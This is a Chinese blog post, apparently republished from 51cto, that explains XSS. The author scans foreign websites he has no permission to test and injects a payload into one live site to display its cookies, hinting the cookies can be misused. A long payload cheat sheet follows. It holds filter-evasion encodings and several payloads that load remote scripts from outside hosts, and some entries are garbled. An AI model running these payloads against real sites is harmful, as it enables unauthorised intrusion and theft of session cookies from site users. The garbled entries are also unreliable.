码迷,mamicode.com
首页 > 其他好文 > 详细

兽哥出品---->XSS漏洞的原理与剖析

时间:2017-07-15 12:37:08      阅读:143      评论:0      收藏:0      [点我收藏+]

标签:xss原理   xss攻击   xss原理与剖析   xss   

                Xss(跨站脚本攻击)

 

 

 

 

 

今天 兽哥又给大家带来一份干货,关于xss漏洞问题

 

 

Xss是一种基于html属性的攻击 这是一种比较简单的方法 然而现在存在xss漏洞已经很少了

 

但是..注意 这里我用到了但是   

 

 

  我在挂代理 去国外找网站时  我发现某个渣渣国的很多很多网站存xss漏洞

 

 

  随便掏了一个给大家做一下尝试 讲解原理


嗷嗷叫!!!!

 

 

技术分享





拉出来safe3   输入某网站 跑一下

   

可以看到  真的是很多啊 还有sql注入漏洞 

技术分享


 

 

 

我随便选中一行把

 

这个很短 很舒服 我们就选它

 

我们来进行试验一下

 

这个网站 大体是这样的:

 

 

https://xxxx.com/login?f= 

 

页面肯定正常显示, 我这里只做原理讲解 具体网址 我不方便放在这里 有需要的可以私聊

我提供给你方法

然后呢 咱们在URL后面随便输入ddd 按回车 页面正常显示 然后注意! !!!!!

 

 

一定注意

 

 

这里有个小技巧

 

Ctrl+U 看网页源代码  然后呢 按Ctrl+F  在左下角输入框内搜索ddd字段

我们看一下ddd 这几个字符 出现在哪里

 

下图是具体页面:

技术分享


技术分享


技术分享

各位,我们可以看到,它目前出现在蓝色的地方这 当然也有其他的地方也有ddd字段 我这里就不作截屏了 拿出来一个作为例子

 

我们可以看到 这段location.href ‘’ ;代码呢  是很简单的  我们只需要闭合 外加注释掉后面的就可以了  我们这样构造

 

    

 

 

 

技术分享

 

那么这样一段代码 在源码的原理是什么呢 我们来看一下

 

location.href ‘’><script>alert(document,cookie)</script> -- ’;  

 

前面黄色的呢 我用 ’> 将她 闭合掉了   后面的 ’; 我将它用 --  注释掉了  

然后执行我们的语句 <script>alert(document,cookie)</script>

 

这样 enter键 我们看看会得到什么

 

 

没错 页面返回来 cookie值

 

 

技术分享

 

得到cookie值我们能干嘛 你懂得 哈哈

 

 

收起邪恶的嘴脸:简单的来说  sql注入 就可以用到  联合cookie 注入方法

 

 

 好了 今天 就到这里 谢谢各位收看

 

 

 

 

 

 

下面呢 是我整理的 xss语句:

 

 

 

 

 

XSS基本探测pyload

<script>alert(“xss”)</script>

<script>alert(/xss/)</script>//双引号换成斜杠

<script>alert(‘xss’)</script>//用单引号

<script>alert("xss");</script>//用分号

<script>alert(‘xss‘);</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自动补全

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号

 

<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车

单引号被过滤

<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

JavaScript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

javascript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

alert被过滤

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

img标记】

<img src=xonerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://t.cn/R5UpyOt‘;>

on事件点击触发

//注意要用单引号 双引号不会触发

on事件点击触发

//注意要用单引号 双引号不会触发

【利用函数加密】

eval 函数配合编码

<script>eval(“js+16进制加密)</script>

 

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

编码要执行的语句

Alert(“xss”)

unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解决alert()被过滤

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式

标记eval(“编码”) 结束标记

String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式<script>eval(String.fromCharCode编码内容))</script>

String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式<script>eval(String.fromCharCode编码内容))</script>

【各标签实战pyload
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————

 

<imgsrc=javascript:document.write(‘<scr‘+‘ipt src=\‘http://www.baidu.com/1.txt\‘></scr‘+‘ipt>‘)></img>  //仅支持IE6

 

 

<imgsrc=javascript:window.s=document.createElement(‘script‘);window.s.src=‘http://lcx.cc/1.js‘;document.body.appendChild(window.s);></img>  //仅支持IE6

 

 

<imgsrc="pdpdp.gif"></img>  //通杀所有浏览器能触发xss

 

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

 

 

<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

 

<input autofocus="bbbb" />

 

 

<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

 

<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

 

<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

 

<anchor><img>(不执行js)<a>(需点击) <meta>.....

 

<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

 

<baa id="1" tabindex=0>

 

 

 

 

(1)普通的XSS JavaScript注入

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(2)IMG标签XSS使用JavaScript命令

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

 

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

 

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

 

(6)修正缺陷IMG标签

<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

 

(7)formCharCode标签

<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>

 

(8)UTF-8Unicode编码

<IMG SRC=jav..省略..S‘)>

 

(9)7位的UTF-8Unicode编码是没有分号的

<IMG SRC=jav..省略..S‘)>

 

(10)十六进制编码也是没有分号

<IMG SRC=\‘#\‘" /span>

 

(11)嵌入式标签,Javascript分开

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

 

(12)嵌入式编码标签,Javascript分开

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

 

(13)嵌入式换行符

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

 

(14)嵌入式回车

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

 

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=\‘#\‘" /span>

 

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

 

(17)空字符

perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out

 

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

 

(19)Spacesmeta前的IMG标签

<IMG SRC=\‘#\‘"
  javascript:alert(‘XSS’);”>

 

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

 

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

 

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>

 

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

 

(26)半开的HTML/JavaScriptXSS

<IMG SRC=\‘#\‘" /span>

 

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

 

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

 

(29)换码过滤的JavaScript

\”;alert(‘XSS’);//

 

(30)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

 

(31)Input Image

<INPUT SRC=\‘#\‘" /span>

 

(32)BODY Image

<BODYBACKGROUND=”javascript:alert(‘XSS’)”>

 

(33)BODY标签

<BODY(‘XSS’)>

 

(34)IMG Dynsrc

<IMG DYNSRC=\‘#\‘" /span>

 

(35)IMG Lowsrc

<IMG LOWSRC=\‘#\‘" /span>

 

(36)BGSOUND

<BGSOUND SRC=\‘#\‘" /span>

 

(37)STYLE sheet

<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>

 

(38)远程样式表

<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

 

(39)List-style-image(列表式)

<STYLE>li {list-style-image:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

 

(40)IMG VBscript

<IMG SRC=\‘#\‘"/STYLE><UL><LI>XSS

 

(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

 

(42)Iframe

<IFRAME SRC=\‘#\‘" /IFRAME>

 

(43)Frame

<FRAMESET><FRAME SRC=\‘#\‘"/FRAMESET>

 

(44)Table

<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>

 

(45)TD

<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>

 

(46)DIV background-image

<DIV STYLE=”background-image:url(javascript:alert(‘XSS’))”>

 

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

 

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

 

(49)STYLE属性分拆表达

<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

 

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

 

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

 

(54)BASE

<BASEHREF=”javascript:alert(‘XSS’);//”>

 

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\‘#\‘"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>

 

                    

         

 


本文出自 “black-Emperor” 博客,请务必保留此出处http://233333333.blog.51cto.com/13106116/1947780

兽哥出品---->XSS漏洞的原理与剖析

标签:xss原理   xss攻击   xss原理与剖析   xss   

原文地址:http://233333333.blog.51cto.com/13106116/1947780

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!